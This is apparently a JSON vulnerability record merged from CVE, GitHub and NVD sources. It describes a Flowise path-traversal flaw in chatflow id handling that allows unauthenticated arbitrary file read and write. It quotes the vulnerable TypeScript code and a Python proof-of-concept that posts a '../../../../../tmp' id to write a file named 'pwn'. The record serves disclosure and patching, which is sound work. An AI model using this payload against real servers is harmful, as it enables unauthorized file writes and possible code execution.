{"id":"CVE-2025-71334","aliases":["CVE-2025-71334","GHSA-q67q-549q-p849"],"related":[],"kind":"vulnerability","state":"published","title":"Flowise - Arbitrary File Access via Missing Chat Flow ID Validation","summary":"Flowise before 3.0.6 contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Flowise before 3.0.6 contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nMissing chat flow id validation allows an attacker to access arbitrary file.\n\n### Details\n\nCommit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for `filename` when handling file upload operations to prevent path traversal, and additional validation of `chatflowId` and `chatId` from route `/api/v1/attachments`. In some cases, however,  `chatflowId` and `chatId` are not validated to ensure they are UUIDs or numbers, which may lead to security issues.\n\n**Case 1**\n\nWhen creating new chatflow via `/api/v1/chatflows`, function `addBase64FilesToStorage` is called if there exists base64 file data. Although the `filename` is sanitized, the `chatflowid` comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.\n\n```typescript\nexport const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {\n    // ...\n    } else {\n        const dir = path.join(getStoragePath(), chatflowid)  // path traversal here\n        if (!fs.existsSync(dir)) {\n            fs.mkdirSync(dir, { recursive: true })\n        }\n\n        const splitDataURI = fileBase64.split(',')\n        const filename = splitDataURI.pop()?.split(':')[1] ?? ''\n        const bf = Buffer.from(splitDataURI.pop() || '', 'base64')\n        const sanitizedFilename = _sanitizeFilename(filename)\n\n        const filePath = path.join(dir, sanitizedFilename)\n        fs.writeFileSync(filePath, bf)\n        fileNames.push(sanitizedFilename)\n        return 'FILE-STORAGE::' + JSON.stringify(fileNames)\n    }\n}\n```\n\n**Case 2**\n\nWhen downloading file via `/api/v1/openai-assistants-file/download` or `/api/v1/get-upload-file`, function `streamStorageFile` is called to retrieve file data from local or cloud bucket. The `chatflowId` and `chatId` are used for file path generation. Take Amazon S3 as an example, its [[documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that `../` will be treated as relative path.\n\nNote that these APIs are in `WHITELIST_URLS`, an attacker may traverse user storage files without authentication.\n\n### PoC\n\nLaunch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir `/tmp` with content 'Hello, World!'.\n\n```python\nimport requests\nimport json\nurl = \"http://localhost:8080/api/v1/chatflows\"\nheaders = {\"x-request-from\": \"internal\"}\nnodedata = {\n  \"category\" : \"Document Loaders\",\n  \"inputs\" : {\n    \"key\" : \"data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn\"\n  }\n}\nflownode = {\n  \"id\" : \"a\",\n  \"data\" : nodedata\n}\nflowdata = {\n  \"nodes\" : [flownode],\n  \"edges\" : [],\n  \"viewport\" : {\n    \"x\" : 1,\n    \"y\" : 1,\n    \"zoom\" : 1\n  }\n}\ndata = {\n  \"id\" : \"../../../../../tmp\",\n  \"name\" : \"name\",\n  \"flowData\" : json.dumps(flowdata)\n}\nres = requests.post(url, json=data, headers=headers)\n```\n\n### Impact\n\n1. Arbitrary file read / write\n2. Remote Code Execution\n3. Data loss","format":"markdown","source":"ghsa"},{"lang":"es","text":"Flowise antes de la versión 3.0.6 (versiones afectadas 2.2.8 y anteriores) contiene una vulnerabilidad de acceso arbitrario a archivos debido a la falta de validación de que los parámetros chatflowId y chatId son UUIDs o números en las operaciones de manejo de archivos. Al proporcionar un valor de path-traversal (por ejemplo, '.. / .. / .. / .. / ../tmp') como el ID del chatflow, un atacante no autenticado puede usar el endpoint /api/v1/chatflows (a través de addBase64FilesToStorage) para escribir archivos arbitrarios, y los endpoints /api/v1/get-upload-file y /api/v1/openai-assistants-file/download (a través de streamStorageFile) para leer archivos arbitrarios. La escritura arbitraria de archivos puede conducir a la ejecución remota de código.","source":"nvd"}],"published":"2025-09-15T20:11:39.000Z","modified":"2026-11-03T17:45:08.808Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"}],"cwes":["CWE-22","CWE-73"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"3.0.6","status":"affected"},{"type":"semver","version":"3.0.6","status":"unaffected"}],"vendor":"Flowise","product":"Flowise","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.2.8","status":"affected","fixed":"3.0.6"}],"ecosystem":"npm","package":"flowise","purl":"pkg:npm/flowise","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.0.6"}],"vendor":"flowiseai","product":"flowise","cpe":"cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f","tags":["patch","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7","tags":["patch","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/flowise-arbitrary-file-access-via-missing-chat-flow-id-validation","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71334","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"],"sources":["ghsa"]}],"credits":["rpie9"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-06-26T10:39:19.899Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-71334","url":"https://www.cve.org/CVERecord?id=CVE-2025-71334","licence":"CVE Terms of Use","modified":"2026-10-29T21:15:18.060Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-q67q-549q-p849","url":"https://github.com/advisories/GHSA-q67q-549q-p849","licence":"CC-BY-4.0","modified":"2026-11-03T17:45:08.808Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-71334","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71334","licence":"Public domain","modified":"2026-10-29T21:17:05.350Z"}],"updatedAt":"2026-11-25T22:59:12.353Z","epss":{"score":0.49405,"percentile":0.98912,"date":"2026-12-01T12:00:22.000Z"}}